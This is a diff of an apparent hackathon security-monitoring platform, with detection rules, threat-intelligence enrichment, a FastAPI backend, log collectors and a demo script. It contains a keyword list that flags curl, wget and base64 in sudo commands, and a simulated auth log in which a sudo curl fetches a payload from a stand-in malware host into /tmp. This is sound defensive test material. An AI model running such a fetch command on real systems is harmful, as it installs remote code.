+    severity = Severity.CRITICAL if risk >= 85 else Severity.HIGH if risk >= 65 else Severity.MEDIUM if risk >= 40 else Severity.LOW
+    confidence = mean([f.confidence for f in rel_findings]) if rel_findings else 0.45
+
+    return RiskAssessment(
+        incident_id=incident.id,
+        risk_score=round(risk, 2),
+        severity=severity,
+        confidence=round(confidence, 3),
+        factors={
+            "events": len(rel_events),
+            "findings": len(rel_findings),
+            "techniques": list({f.technique for f in rel_findings}),
+        },
+    )

agents/threat_detection_agent.py

@@ -0,0 +1,119 @@
+"""Threat detection: rules + lightweight anomaly hooks + LLM-ready findings."""
+
+from __future__ import annotations
+
+from collections import defaultdict
+from datetime import datetime, timedelta, timezone
+
+from models.schemas import DetectionFinding, EnrichedEvent, Severity
+
+# Sliding window: source_ip -> list of timestamps (failed ssh)
+_fail_window: dict[str, list[datetime]] = defaultdict(list)
+_burst_window: dict[str, list[datetime]] = defaultdict(list)
+
+
+def _prune(ip: str, window: dict[str, list[datetime]], minutes: int = 15) -> None:
+    cutoff = datetime.now(timezone.utc) - timedelta(minutes=minutes)
+    window[ip] = [t for t in window[ip] if t > cutoff]
+
+
+def detect_threats(event: EnrichedEvent) -> list[DetectionFinding]:
+    findings: list[DetectionFinding] = []
+    ip = event.source_ip or "unknown"
+    now = event.timestamp
+
+    if event.event_type == "auth.ssh_failed":
+        _prune(ip, _fail_window)
+        _fail_window[ip].append(now)
+        if len(_fail_window[ip]) >= 5:
+            findings.append(
+                DetectionFinding(
+                    event_id=event.id,
+                    technique="brute_force_ssh",
+                    description=f"Clustered SSH failures from {ip} ({len(_fail_window[ip])} in window)",
+                    confidence=min(0.55 + 0.05 * len(_fail_window[ip]), 0.98),
+                    mitre_technique="T1110",
+                    severity=Severity.HIGH,
+                )
+            )
+
+    if event.event_type == "auth.ssh_success" and len(_fail_window.get(ip, [])) >= 3:
+        findings.append(
+            DetectionFinding(
+                event_id=event.id,
+                technique="credential_stuffing_success",
+                description="Successful SSH after repeated failures — possible stuffing or spray success",
+                confidence=0.78,
+                mitre_technique="T1078",
+                severity=Severity.CRITICAL,
+            )
+        )
+
+    if event.event_type == "privilege.sudo":
+        cmd = str(event.normalized.get("command", "")).lower()
+        if any(x in cmd for x in ("curl", "wget", "chmod 777", "/tmp/", "base64")):
+            findings.append(
+                DetectionFinding(
+                    event_id=event.id,
+                    technique="privilege_abuse",
+                    description="Suspicious sudo command chain consistent with post-exploitation",
+                    confidence=0.72,
+                    mitre_technique="T1548",
+                    severity=Severity.HIGH,
+                )
+            )
+        else:
+            findings.append(
+                DetectionFinding(
+                    event_id=event.id,
+                    technique="privilege_escalation",
+                    description="Interactive privilege elevation observed",
+                    confidence=0.55,
+                    mitre_technique="T1548",
+                    severity=Severity.MEDIUM,
+                )
+            )
+
+    if event.event_type == "web.request":
+        code = event.normalized.get("status")
+        if code in (401, 403):
+            _prune(ip, _burst_window, minutes=5)
+            _burst_window[ip].append(now)
+            if len(_burst_window[ip]) >= 40:
+                findings.append(
+                    DetectionFinding(
+                        event_id=event.id,
+                        technique="credential_spray",
+                        description="High volume of denied web authentications",
+                        confidence=0.68,
+                        mitre_technique="T1110",
+                        severity=Severity.MEDIUM,
+                    )
+                )
+
+    if event.enrichment.get("reputation") == "malicious":
+        findings.append(
+            DetectionFinding(
+                event_id=event.id,
+                technique="known_malicious_source",
+                description="Source matches threat intelligence with elevated confidence",
+                confidence=float(event.enrichment.get("confidence", 0.85)),
+                mitre_technique="T1071",
+                severity=Severity.HIGH,
+            )
+        )
+
+    if event.event_type == "k8s.event":
+        if "backoff" in event.message.lower() or "fail" in event.message.lower():
+            findings.append(
+                DetectionFinding(
+                    event_id=event.id,
+                    technique="k8s_anomaly",
+                    description="Kubernetes workload instability — investigate supply chain or runtime compromise",
+                    confidence=0.5,
+                    mitre_technique="T1190",
+                    severity=Severity.MEDIUM,
+                )
+            )
+
+    return findings

agents/threat_enrichment_agent.py

@@ -0,0 +1,121 @@
+"""Threat enrichment: geo, ASN, reputation stubs + optional external APIs."""
+
+from __future__ import annotations
+
+import ipaddress
+import os
+from typing import Any, Optional
+
+import httpx
+
+from models.schemas import EnrichedEvent, SecurityEvent
+
+
+async def enrich_event(event: SecurityEvent) -> EnrichedEvent:
+    ip = event.source_ip
+    enrichment: dict[str, Any] = {"feeds": [], "cve_hints": []}
+
+    if ip and _is_public_ip(ip):
+        abuse_key = os.getenv("ABUSEIPDB_API_KEY")
+        vt_key = os.getenv("VIRUSTOTAL_API_KEY")
+        otx_key = os.getenv("OTX_API_KEY")
+
+        if abuse_key:
+            rep = await _abuseipdb(ip, abuse_key)
+            enrichment.update(rep or {})
+        elif vt_key:
+            enrichment["virustotal"] = await _virustotal_ip(ip, vt_key)
+        elif otx_key:
+            enrichment["otx"] = await _otx_pulse(ip, otx_key)
+        else:
+            enrichment.update(await _fallback_geo(ip))
+
+    # Heuristic malicious list for demo
+    if ip in {"185.220.101.1", "45.33.32.156", "203.0.113.50"}:
+        enrichment["reputation"] = "malicious"
+        enrichment["confidence"] = 0.92
+        enrichment["feeds"].append("curated_blocklist")
+
+    return EnrichedEvent.model_validate({**event.model_dump(), "enrichment": enrichment})
+
+
+def _is_public_ip(ip: str) -> bool:
+    try:
+        addr = ipaddress.ip_address(ip)
+        return not (addr.is_private or addr.is_loopback or addr.is_reserved)
+    except ValueError:
+        return False
+
+
+async def _fallback_geo(ip: str) -> dict[str, Any]:
+    """Free tier geoip without API key (demo only)."""
+    try:
+        async with httpx.AsyncClient(timeout=5.0) as client:
+            r = await client.get(f"http://ip-api.com/json/{ip}")
+            if r.status_code == 200:
+                data = r.json()
+                return {
+                    "geo": {
+                        "country": data.get("country"),
+                        "countryCode": data.get("countryCode"),
+                        "city": data.get("city"),
+                        "lat": data.get("lat"),
+                        "lon": data.get("lon"),
+                        "isp": data.get("isp"),
+                        "as": data.get("as"),
+                    },
+                    "reputation": "unknown",
+                }
+    except Exception:  # noqa: BLE001
+        pass
+    return {"geo": {}, "reputation": "unknown"}
+
+
+async def _abuseipdb(ip: str, api_key: str) -> Optional[dict[str, Any]]:
+    try:
+        async with httpx.AsyncClient(timeout=8.0) as client:
+            r = await client.get(
+                "https://api.abuseipdb.com/api/v2/check",
+                params={"ipAddress": ip, "maxAgeInDays": 90},
+                headers={"Key": api_key, "Accept": "application/json"},
+            )
+            if r.status_code != 200:
+                return None
+            data = r.json().get("data", {})
+            return {
+                "abuseipdb": {
+                    "score": data.get("abuseConfidenceScore"),
+                    "total_reports": data.get("totalReports"),
+                    "country": data.get("countryCode"),
+                },
+                "reputation": "malicious" if (data.get("abuseConfidenceScore") or 0) > 25 else "clean",
+            }
+    except Exception:  # noqa: BLE001
+        return None
+
+
+async def _virustotal_ip(ip: str, api_key: str) -> dict[str, Any]:
+    headers = {"x-apikey": api_key}
+    try:
+        async with httpx.AsyncClient(timeout=10.0) as client:
+            r = await client.get(f"https://www.virustotal.com/api/v3/ip_addresses/{ip}", headers=headers)
+            if r.status_code != 200:
+                return {}
+            stats = (r.json().get("data") or {}).get("attributes", {}).get("last_analysis_stats", {})
+            return {"malicious": stats.get("malicious", 0), "harmless": stats.get("harmless", 0)}
+    except Exception:  # noqa: BLE001
+        return {}
+
+
+async def _otx_pulse(ip: str, api_key: str) -> dict[str, Any]:
+    try:
+        async with httpx.AsyncClient(timeout=10.0) as client:
+            r = await client.get(
+                f"https://otx.alienvault.com/api/v1/indicators/IPv4/{ip}/general",
+                headers={"X-OTX-API-KEY": api_key},
+            )
+            if r.status_code != 200:
+                return {}
+            return {"pulse_count": r.json().get("pulse_info", {}).get("count", 0)}
+    except Exception:  # noqa: BLE001
+        return {}

backend/app/main.py

@@ -0,0 +1,304 @@
+"""SentinelAI FastAPI application — autonomous SOC control plane."""
+
+from __future__ import annotations
+
+import asyncio
+import logging
+import os
+import sys
+import time
+from contextlib import asynccontextmanager
+import threading
+from pathlib import Path
+from typing import Annotated, Any
+
+from fastapi import Depends, FastAPI, WebSocket, WebSocketDisconnect
+from fastapi.middleware.cors import CORSMiddleware
+
+ROOT = Path(__file__).resolve().parents[2]
+if str(ROOT) not in sys.path:
+    sys.path.insert(0, str(ROOT))
+
+try:
+    from dotenv import load_dotenv
+
+    load_dotenv(ROOT / ".env")
+except ImportError:
+    pass
+
+from models.schemas import (  # noqa: E402
+    AlertPayload,
+    DashboardMetrics,
+    IncidentActionBody,
+    RawLogIngest,
+    ReplayStartBody,
+    WorkflowState,
+)
+from services.event_hub import EventHub  # noqa: E402
+from services.metrics_store import MetricsStore  # noqa: E402
+
+logging.basicConfig(level=logging.INFO)
+logger = logging.getLogger("sentinelai.api")
+
+hub = EventHub()
+metrics = MetricsStore()
+
+# Heavy imports (LangChain, SQLAlchemy models, agents) live inside services.pipeline — defer so uvicorn can bind immediately.
+_wire_lock = threading.Lock()
+
+
+class _Services:
+    __slots__ = ("pipeline", "collector")
+
+    def __init__(self) -> None:
+        self.pipeline: Any = None
+        self.collector: Any = None
+
+
+services = _Services()
+
+
+def _wire_pipeline_and_collector_sync() -> None:
+    """Idempotent; safe across threads."""
+    if services.pipeline is not None:
+        return
+    with _wire_lock:
+        if services.pipeline is not None:
+            return
+        from collectors.collector_agent import CollectorAgent  # noqa: E402
+        from services.pipeline import SentinelPipeline  # noqa: E402
+
+        logger.info("Loading SentinelPipeline module (first load can take 10–40s on cold start)")
+        services.pipeline = SentinelPipeline(hub, metrics)
+        services.collector = CollectorAgent(services.pipeline.ingest_from_collector)
+
+
+async def get_pipeline_dep() -> Any:
+    """Dependency for routes that need the SOC pipeline."""
+    if services.pipeline is None:
+        await asyncio.to_thread(_wire_pipeline_and_collector_sync)
+    return services.pipeline
+
+
+PipelineDep = Annotated[Any, Depends(get_pipeline_dep)]
+
+
+async def _noop(_: dict) -> None:
+    return None
+
+
+@asynccontextmanager
+async def lifespan(app: FastAPI):
+    """Yield immediately so Uvicorn finishes startup and accepts HTTP (avoids browser ERR_CONNECTION_TIMED_OUT).
+
+    Redis/DB/LangGraph/pipeline wiring run in the background — /health works before collectors attach.
+    """
+
+    async def background_startup() -> None:
+        try:
+            await metrics.connect_redis()
+            if os.getenv("SKIP_DB", "").lower() in {"1", "true", "yes"}:
+                logger.info("SKIP_DB set — skipping PostgreSQL init")
+            else:
+                from database.session import init_db  # defer heavy SQLAlchemy/asyncpg import
+
+                try:
+                    await init_db()
+                    logger.info("PostgreSQL schema ready")
+                except Exception as e:  # noqa: BLE001
+                    logger.warning("Database init skipped: %s", e)
+
+            async def langgraph_warmup() -> None:
+                """Compile + dry-run off the critical path — importing LangGraph can take minutes on cold start."""
+                await asyncio.sleep(0)
+                if os.getenv("SKIP_LANGGRAPH_WARMUP", "").lower() in {"1", "true", "yes"}:
+                    logger.info("SKIP_LANGGRAPH_WARMUP set — skipping LangGraph compile dry-run")
+                    return
+                try:
+                    from workflows.langgraph_flow import build_soc_graph  # defer LangGraph import
+
+                    soc_graph = build_soc_graph({"enrich": _noop, "detect": _noop, "correlate": _noop})
+                    if soc_graph:
+                        timeout = float(os.getenv("LANGGRAPH_WARMUP_TIMEOUT_SEC", "120"))
+                        await asyncio.wait_for(
+                            soc_graph.ainvoke({"notes": [], "bootstrap": True}),
+                            timeout=timeout,
+                        )
+                        logger.info("LangGraph SOC workflow compiled and dry-run complete")
+                except asyncio.TimeoutError:
+                    logger.warning(
+                        "LangGraph dry-run timed out after %ss — API is up; graph may compile on first use",
+                        os.getenv("LANGGRAPH_WARMUP_TIMEOUT_SEC", "120"),
+                    )
+                except Exception as e:  # noqa: BLE001
+                    logger.warning("LangGraph dry-run skipped: %s", e)
+
+            asyncio.create_task(langgraph_warmup())
+
+            async def wire_and_run_collectors() -> None:
+                await asyncio.sleep(0)
+                await asyncio.to_thread(_wire_pipeline_and_collector_sync)
+                if services.collector is None:
+                    return
+                services.collector.start_all_tails()
+                if os.getenv("ENABLE_MOCK_CLOUD_POLL", "1") == "1":
+                    services.collector.start_mock_cloud_poll()
+
+            asyncio.create_task(wire_and_run_collectors())
+
+            async def metrics_tick() -> None:
+                while True:
+                    await asyncio.sleep(60)
+                    metrics.tick_frequency()
+
+            asyncio.create_task(metrics_tick())
+            logger.info("Background SOC wiring scheduled (Redis, DB, LangGraph, collectors)")
+        except Exception:
+            logger.exception("Background startup failed")
+
+    asyncio.create_task(background_startup())
+    logger.info(
+        "HTTP layer ready — GET /health while Redis, PostgreSQL, LangGraph, and collectors initialize in the background"
+    )
+    yield
+    if services.collector is not None:
+        services.collector.stop()
+
+
+app = FastAPI(title="SentinelAI SOC API", version="1.0.0", lifespan=lifespan)
+app.add_middleware(
+    CORSMiddleware,
+    allow_origins=os.getenv("CORS_ORIGINS", "*").split(","),
+    allow_credentials=True,
+    allow_methods=["*"],
+    allow_headers=["*"],
+)
+
+
+async def get_session():
+    if os.getenv("SKIP_DB", "").lower() in {"1", "true", "yes"}:
+        yield None
+        return
+    from database.session import async_session_factory  # defer heavy SQLAlchemy/asyncpg import
+
+    async with async_session_factory() as session:
+        yield session
+
+
+@app.post("/ingest-logs")
+async def ingest_logs(body: RawLogIngest, pipeline: PipelineDep, session: Any = Depends(get_session)):
+    return await pipeline.ingest(body, session)
+
+
+@app.websocket("/live-events")
+async def live_events(ws: WebSocket) -> None:
+    await hub.connect(ws)
+    try:
+        for row in list(hub.live_feed)[:80]:
+            await ws.send_json(row)
+        while True:
+            try:
+                await asyncio.wait_for(ws.receive_text(), timeout=20.0)
+            except asyncio.TimeoutError:
+                await ws.send_json({"type": "heartbeat", "ts": time.time()})
+    except WebSocketDisconnect:
+        hub.disconnect(ws)
+    finally:
+        hub.disconnect(ws)
+
+
+@app.post("/detect-threats")
+async def detect_threats(body: RawLogIngest, pipeline: PipelineDep, session: Any = Depends(get_session)):
+    return await pipeline.ingest(body, session)
+
+
+@app.post("/correlate-incidents")
+async def correlate_incidents(pipeline: PipelineDep):
+    from agents.incident_correlation_agent import correlate
+
+    incidents = correlate(pipeline._events, pipeline._findings)  # noqa: SLF001
+    return {"incidents": [i.model_dump(mode="json") for i in incidents]}
+
+
+@app.post("/generate-summary")
+async def generate_summary(body: IncidentActionBody, pipeline: PipelineDep, session: Any = Depends(get_session)):
+    return await pipeline.run_full_workflow_on_incident(body.incident_id, session)
+
+
+@app.post("/remediation")
+async def remediation(body: IncidentActionBody, pipeline: PipelineDep, session: Any = Depends(get_session)):
+    payload = await pipeline.run_full_workflow_on_incident(body.incident_id, session)
+    return {"remediation": payload.get("remediation")}
+
+
+@app.post("/send-alert")
+async def send_alert_endpoint(body: AlertPayload, session: Any = Depends(get_session)):
+    from agents.alerting_agent import send_alert as _send
+    from database.models import AlertRecord
+
+    result = await _send(body)
+    if session is not None:
+        session.add(
+            AlertRecord(
+                channel=body.channel,
+                title=body.title,
+                body=body.body,
+                severity=body.severity.value,
+            )
+        )
+        await session.commit()
+    return result
+
+
+@app.get("/dashboard-metrics")
+async def dashboard_metrics() -> DashboardMetrics:
+    snap = metrics.snapshot()
+    return DashboardMetrics(**snap)
+
+
+@app.get("/rocm-panel")
+async def rocm_panel():
+    """AMD ROCm story + demo inference/agent load (simulated GPU sway for UI)."""
+    return metrics.rocm_panel()
+
+
+@app.get("/agent-activity")
+async def agent_activity():
+    return {"items": list(hub.agent_log)[:200]}
+
+
+@app.post("/replay/start")
+async def replay_start(body: ReplayStartBody = ReplayStartBody()):
+    """Replay buffered threat_feed / detection / incident frames to all WebSocket clients."""
+    hub.schedule_replay(delay_ms=body.delay_ms)
+    return {"status": "scheduled", "delay_ms": body.delay_ms, "buffered": len(hub.replay_buffer)}
+
+
+@app.get("/replay-buffer")
+async def replay_buffer():
+    return {"count": len(hub.replay_buffer), "items": list(hub.replay_buffer)}
+
+
+@app.get("/")
+async def root():
+    """Landing hint — FastAPI did not define `/` before; browsers hitting only the host saw 404."""
+    return {
+        "service": "SentinelAI SOC API",
+        "docs": "/docs",
+        "health": "/health",
+        "openapi_json": "/openapi.json",
+    }
+
+
+@app.get("/health")
+async def health():
+    return {"status": "ok", "service": "sentinelai"}
+
+
+@app.get("/workflow-state")
+async def workflow_state(pipeline: PipelineDep) -> WorkflowState:
+    return WorkflowState(
+        events=pipeline._events[-50:],  # noqa: SLF001
+        findings=pipeline._findings[-100:],  # noqa: SLF001
+        incidents=pipeline._incidents[-20:],  # noqa: SLF001
+    )

collectors/__init__.py

@@ -0,0 +1 @@
+"""Log and telemetry collectors."""

collectors/collector_agent.py

@@ -0,0 +1,147 @@
+"""Autonomous collector agent: async directory tail + explicit Linux auth.log paths."""
+
+from __future__ import annotations
+
+import asyncio
+import logging
+import os
+from pathlib import Path
+from typing import Awaitable, Callable
+
+from models.schemas import RawLogIngest
+
+logger = logging.getLogger("sentinelai.collector")
+
+EmitFn = Callable[[RawLogIngest], Awaitable[None]]
+
+
+class CollectorAgent:
+    """Runs background collectors and pushes RawLogIngest to the pipeline."""
+
+    def __init__(self, emit: EmitFn) -> None:
+        self.emit = emit
+        self._tasks: list[asyncio.Task] = []
+        self._file_positions: dict[str, int] = {}
+
+    def start_all_tails(self) -> None:
+        """Watch demo directory plus optional explicit files (e.g. /var/log/auth.log)."""
+        self.start_file_tail()
+        extra: list[str] = []
+        raw_paths = os.getenv("COLLECTOR_FILE_PATHS", "")
+        extra.extend(p.strip() for p in raw_paths.split(",") if p.strip())
+        if os.getenv("COLLECT_AUTH_LOG", "").lower() in {"1", "true", "yes"}:
+            auth = os.getenv("AUTH_LOG_PATH", "/var/log/auth.log").strip()
+            if auth:
+                extra.append(auth)
+        else:
+            auth_only = os.getenv("AUTH_LOG_PATH", "").strip()
+            if auth_only:
+                extra.append(auth_only)
+        seen: set[str] = set()
+        for p in extra:
+            if p in seen:
+                continue
+            seen.add(p)
+            self._start_single_file_tail(Path(p))
+
+    def start_file_tail(self, watch_dir: str | None = None) -> None:
+        base = Path(watch_dir or os.getenv("COLLECTOR_WATCH_DIR", "./demo_logs"))
+        base.mkdir(parents=True, exist_ok=True)
+
+        async def tail_loop() -> None:
+            while True:
+                await self._drain_directory(base, source="file")
+                await asyncio.sleep(float(os.getenv("COLLECTOR_POLL_SEC", "1.0")))
+
+        self._tasks.append(asyncio.create_task(tail_loop()))
+        logger.info("Async file collector tailing directory %s", base)
+
+    def _start_single_file_tail(self, path: Path) -> None:
+        async def tail_one() -> None:
+            warned = False
+            while True:
+                if not path.is_file():
+                    if not warned:
+                        logger.warning("Collector waiting for file %s (missing or not readable yet)", path)
+                        warned = True
+                    await asyncio.sleep(float(os.getenv("COLLECTOR_MISSING_RETRY_SEC", "10")))
+                    continue
+                warned = False
+                key = str(path.resolve())
+                try:
+                    with path.open("r", encoding="utf-8", errors="ignore") as f:
+                        f.seek(self._file_positions.get(key, 0))
+                        for line in f:
+                            line = line.strip()
+                            if line:
+                                await self.emit(
+                                    RawLogIngest(
+                                        source="linux_auth" if "auth.log" in path.name else "file",
+                                        raw_line=line,
+                                        metadata={"path": key, "host": os.getenv("COLLECTOR_HOSTNAME", "linux-host")},
+                                    )
+                                )
+                        self._file_positions[key] = f.tell()
+                except OSError as e:
+                    logger.debug("tail skip %s: %s", path, e)
+                await asyncio.sleep(float(os.getenv("COLLECTOR_POLL_SEC", "1.0")))
+
+        self._tasks.append(asyncio.create_task(tail_one()))
+        logger.info("Async file collector tailing file %s", path)
+
+    async def _drain_directory(self, base: Path, source: str) -> None:
+        for path in sorted(base.rglob("*")):
+            if not path.is_file():
+                continue
+            if path.suffix not in {".log", ".txt", ""}:
+                continue
+            key = str(path)
+            try:
+                with path.open("r", encoding="utf-8", errors="ignore") as f:
+                    f.seek(self._file_positions.get(key, 0))
+                    for line in f:
+                        line = line.strip()
+                        if line:
+                            await self.emit(
+                                RawLogIngest(
+                                    source=source,
+                                    raw_line=line,
+                                    metadata={"path": key, "host": os.getenv("COLLECTOR_HOSTNAME", "edge-01")},
+                                )
+                            )
+                    self._file_positions[key] = f.tell()
+            except OSError as e:
+                logger.debug("tail skip %s: %s", path, e)
+
+    def stop(self) -> None:
+        for t in self._tasks:
+            t.cancel()
+
+    def start_mock_cloud_poll(self) -> None:
+        async def poll() -> None:
+            while True:
+                await asyncio.sleep(30)
+                await self.emit(
+                    RawLogIngest(
+                        source="cloudtrail_mock",
+                        raw_line='{"event_type":"api.unusual","source_ip":"203.0.113.50","host":"aws","severity":"medium","message":"AssumeRole spike"}',
+                        metadata={"host": "aws-control-plane"},
+                    )
+                )
+
+        self._tasks.append(asyncio.create_task(poll()))
+
+    async def docker_stream_sample(self) -> None:
+        try:
+            import docker  # type: ignore
+        except ImportError:
+            return
+        client = docker.from_env()
+        for c in client.containers.list()[:3]:
+            try:
+                for line in c.logs(stream=False, tail=5).decode(errors="ignore").splitlines():
+                    await self.emit(
+                        RawLogIngest(source="docker", raw_line=line, metadata={"container": c.short_id})
+                    )
+            except Exception as e:  # noqa: BLE001
+                logger.debug("docker log: %s", e)

database/__init__.py

@@ -0,0 +1 @@
+"""Persistence layer."""

database/models.py

@@ -0,0 +1,61 @@
+"""SQLAlchemy ORM models for PostgreSQL."""
+
+from __future__ import annotations
+
+import uuid
+from datetime import datetime, timezone
+
+from sqlalchemy import JSON, DateTime, Float, Integer, String, Text
+from sqlalchemy.dialects.postgresql import UUID
+from sqlalchemy.orm import DeclarativeBase, Mapped, mapped_column
+
+
+class Base(DeclarativeBase):
+    pass
+
+
+class EventRecord(Base):
+    __tablename__ = "events"
+
+    id: Mapped[uuid.UUID] = mapped_column(UUID(as_uuid=True), primary_key=True, default=uuid.uuid4)
+    timestamp: Mapped[datetime] = mapped_column(DateTime(timezone=True))
+    event_type: Mapped[str] = mapped_column(String(128))
+    source_ip: Mapped[str | None] = mapped_column(String(64), nullable=True)
+    host: Mapped[str] = mapped_column(String(256), default="unknown")
+    severity: Mapped[str] = mapped_column(String(32))
+    payload: Mapped[dict] = mapped_column(JSON, default=dict)
+    created_at: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=lambda: datetime.now(timezone.utc))
+
+
+class IncidentRecord(Base):
+    __tablename__ = "incidents"
+
+    id: Mapped[uuid.UUID] = mapped_column(UUID(as_uuid=True), primary_key=True, default=uuid.uuid4)
+    title: Mapped[str] = mapped_column(String(512))
+    summary: Mapped[str] = mapped_column(Text)
+    graph: Mapped[dict] = mapped_column(JSON, default=dict)
+    risk_score: Mapped[float] = mapped_column(Float, default=0)
+    severity: Mapped[str] = mapped_column(String(32))
+    created_at: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=lambda: datetime.now(timezone.utc))
+
+
+class AlertRecord(Base):
+    __tablename__ = "alerts"
+
+    id: Mapped[uuid.UUID] = mapped_column(UUID(as_uuid=True), primary_key=True, default=uuid.uuid4)
+    channel: Mapped[str] = mapped_column(String(64))
+    title: Mapped[str] = mapped_column(String(512))
+    body: Mapped[str] = mapped_column(Text)
+    severity: Mapped[str] = mapped_column(String(32))
+    incident_id: Mapped[uuid.UUID | None] = mapped_column(UUID(as_uuid=True), nullable=True)
+    created_at: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=lambda: datetime.now(timezone.utc))
+
+
+class MetricSnapshot(Base):
+    __tablename__ = "metric_snapshots"
+
+    id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True)
+    threats_detected: Mapped[int] = mapped_column(Integer, default=0)
+    active_incidents: Mapped[int] = mapped_column(Integer, default=0)
+    blocked: Mapped[int] = mapped_column(Integer, default=0)
+    recorded_at: Mapped[datetime] = mapped_column(DateTime(timezone=True), default=lambda: datetime.now(timezone.utc))

database/session.py

@@ -0,0 +1,35 @@
+"""Async database session factory."""
+
+from __future__ import annotations
+
+import os
+
+from sqlalchemy.ext.asyncio import AsyncSession, async_sessionmaker, create_async_engine
+from sqlalchemy.pool import NullPool
+
+from database.models import Base
+
+DATABASE_URL = os.getenv(
+    "DATABASE_URL",
+    "postgresql+asyncpg://sentinel:sentinel@localhost:5432/sentinelai",
+)
+
+_connect_args: dict = {}
+if "postgresql" in DATABASE_URL and "asyncpg" in DATABASE_URL:
+    _connect_args["timeout"] = float(os.getenv("DB_CONNECT_TIMEOUT_SEC", "10"))
+
+engine = create_async_engine(
+    DATABASE_URL,
+    echo=False,
+    poolclass=NullPool,
+    connect_args=_connect_args or {},
+)
+
+async_session_factory = async_sessionmaker(engine, class_=AsyncSession, expire_on_commit=False)
+
+
+async def init_db() -> None:
+    if os.getenv("SKIP_DB", "").lower() in {"1", "true", "yes"}:
+        return
+    async with engine.begin() as conn:
+        await conn.run_sync(Base.metadata.create_all)

demo_logs/auth_demo.log

@@ -0,0 +1,7 @@
+Jan 10 10:01:02 edge-01 sshd[1200]: Failed password for invalid user admin from 185.220.101.1 port 22 ssh2
+Jan 10 10:01:05 edge-01 sshd[1201]: Failed password for invalid user admin from 185.220.101.1 port 22 ssh2
+Jan 10 10:01:08 edge-01 sshd[1202]: Failed password for invalid user admin from 185.220.101.1 port 22 ssh2
+Jan 10 10:01:11 edge-01 sshd[1203]: Failed password for invalid user admin from 185.220.101.1 port 22 ssh2
+Jan 10 10:01:14 edge-01 sshd[1204]: Failed password for invalid user admin from 185.220.101.1 port 22 ssh2
+Jan 10 10:01:20 edge-01 sshd[1205]: Accepted publickey for ubuntu from 185.220.101.1 port 22 ssh2
+Jan 10 10:01:45 edge-01 sudo: ubuntu : TTY=pts/0 ; USER=root ; COMMAND=/usr/bin/curl -fsSL http://malware.test/payload -o /tmp/.cache

docker/Dockerfile.backend

@@ -0,0 +1,21 @@
+# SentinelAI control plane — use ROCm-enabled hosts for GPU inference (see README).
+FROM python:3.12-slim
+
+ENV PYTHONDONTWRITEBYTECODE=1 \
+    PYTHONUNBUFFERED=1 \
+    PYTHONPATH=/app
+
+WORKDIR /app
+
+RUN apt-get update && apt-get install -y --no-install-recommends \
+    build-essential \
+    libpq-dev \
+    && rm -rf /var/lib/apt/lists/*
+
+COPY requirements.txt /app/requirements.txt
+RUN pip install --no-cache-dir -r /app/requirements.txt
+
+COPY . /app
+
+EXPOSE 8000
+CMD ["uvicorn", "backend.app.main:app", "--host", "0.0.0.0", "--port", "8000"]

docker/Dockerfile.frontend

@@ -0,0 +1,22 @@
+FROM node:22-alpine AS deps
+WORKDIR /app
+COPY frontend/package.json frontend/package-lock.json ./
+RUN npm ci
+
+FROM node:22-alpine AS builder
+WORKDIR /app
+COPY --from=deps /app/node_modules ./node_modules
+COPY frontend ./
+ENV NEXT_TELEMETRY_DISABLED=1
+RUN npm run build
+
+FROM node:22-alpine AS runner
+WORKDIR /app
+ENV NODE_ENV=production
+ENV NEXT_TELEMETRY_DISABLED=1
+COPY --from=builder /app/.next ./.next
+COPY --from=builder /app/public ./public
+COPY --from=builder /app/package.json ./
+COPY --from=builder /app/node_modules ./node_modules
+EXPOSE 3000
+CMD ["npm", "run", "start", "--", "-H", "0.0.0.0", "-p", "3000"]

docker/docker-compose.yml

@@ -0,0 +1,69 @@
+services:
+  postgres:
+    image: postgres:16-alpine
+    environment:
+      POSTGRES_USER: sentinel
+      POSTGRES_PASSWORD: sentinel
+      POSTGRES_DB: sentinelai
+    ports:
+      - "5432:5432"
+    volumes:
+      - pgdata:/var/lib/postgresql/data
+    healthcheck:
+      test: ["CMD-SHELL", "pg_isready -U sentinel -d sentinelai"]
+      interval: 5s
+      timeout: 5s
+      retries: 10
+
+  redis:
+    image: redis:7-alpine
+    ports:
+      - "6379:6379"
+
+  backend:
+    build:
+      context: ..
+      dockerfile: docker/Dockerfile.backend
+    environment:
+      DATABASE_URL: postgresql+asyncpg://sentinel:sentinel@postgres:5432/sentinelai
+      REDIS_URL: redis://redis:6379/0
+      CORS_ORIGINS: http://localhost:3000
+      COLLECTOR_WATCH_DIR: /app/demo_logs
+      OLLAMA_HOST: http://ollama:11434
+      ENABLE_MOCK_CLOUD_POLL: "1"
+    ports:
+      - "8000:8000"
+    depends_on:
+      postgres:
+        condition: service_healthy
+      redis:
+        condition: service_started
+    volumes:
+      - ../demo_logs:/app/demo_logs
+
+  frontend:
+    build:
+      context: ..
+      dockerfile: docker/Dockerfile.frontend
+    environment:
+      NEXT_PUBLIC_API_URL: http://localhost:8000
+    ports:
+      - "3000:3000"
+    depends_on:
+      - backend
+
+  # Optional: attach AMD ROCm Ollama for local Llama 3 / Qwen / Mistral inference.
+  # Use a ROCm-tagged Ollama image on Linux hosts with AMD GPUs.
+  # ollama:
+  #   image: ollama/ollama:rocm
+  #   devices:
+  #     - /dev/kfd
+  #     - /dev/dri
+  #   ports:
+  #     - "11434:11434"
+  #   volumes:
+  #     - ollama:/root/.ollama
+
+volumes:
+  pgdata: {}
+  # ollama: {}

docs/DEMO_SCRIPT.md

@@ -0,0 +1,52 @@
+# SentinelAI — Judge Demo Script (do not improvise)
+
+## Preconditions (2 minutes before)
+
+1. Terminal A — API:  
+   `cd SentinelAI && source .venv/bin/activate && export PYTHONPATH=$PWD && export SKIP_DB=1`  
+   `uvicorn backend.app.main:app --host 0.0.0.0 --port 8000`
+2. Terminal B — UI:  
+   `cd SentinelAI/frontend && NEXT_PUBLIC_API_URL=http://127.0.0.1:8000 npm run dev`
+3. Open dashboard at `http://localhost:3000` (or your dev URL).
+
+## The flow (≈3–4 minutes)
+
+1. **Start continuous simulation**  
+   Terminal C: `python scripts/continuous_demo.py`  
+   Say: *“This is autonomous traffic — no manual log upload.”*
+
+2. **Live stream**  
+   Point at **Live Threat Feed** and **terminal strip**.  
+   Say: *“Collector → parser → enrichment → detection — everything is event-driven.”*
+
+3. **Threat detected**  
+   When **detection** rows appear with severity, say: *“Rules + sliding windows — brute-force and post-auth patterns.”*
+
+4. **Incident chain**  
+   Point at **Attack Timeline** when an incident appears.  
+   Say: *“Correlation fuses events by source into one narrative.”*
+
+5. **AI investigation**  
